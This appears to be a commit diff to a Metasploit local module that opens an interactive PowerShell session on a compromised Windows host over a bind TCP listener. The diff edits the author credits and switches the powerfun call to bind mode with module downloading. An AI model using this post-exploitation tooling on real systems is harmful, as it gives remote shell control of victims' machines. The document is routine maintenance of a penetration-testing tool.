updates to script
parent
99156f1247
commit
5a648ef79b
|
@ -21,11 +21,15 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DisclosureDate' => 'Apr 15 2015',
|
||||
'Author' => [
|
||||
'Ben Turner', # changed module to load interactive powershell via bind tcp
|
||||
'Dave Hardy', # changed module to load interactive powershell via bind tcp and load other powershell modules
|
||||
'Nicholas Nam <nick[at]executionflow.org>', # original meterpreter script
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Ben Turner', # benpturner
|
||||
'Dave Hardy' # davehardy20
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
|
@ -68,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'powerfun.ps1')
|
||||
|
||||
script_in = File.read(template_path)
|
||||
script_in << "\npowerfun"
|
||||
script_in << "\npowerfun -Command bind"
|
||||
|
||||
mods = ''
|
||||
|
||||
|
@ -78,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " 1\n"
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
|
|
Loading…
Reference in New Issue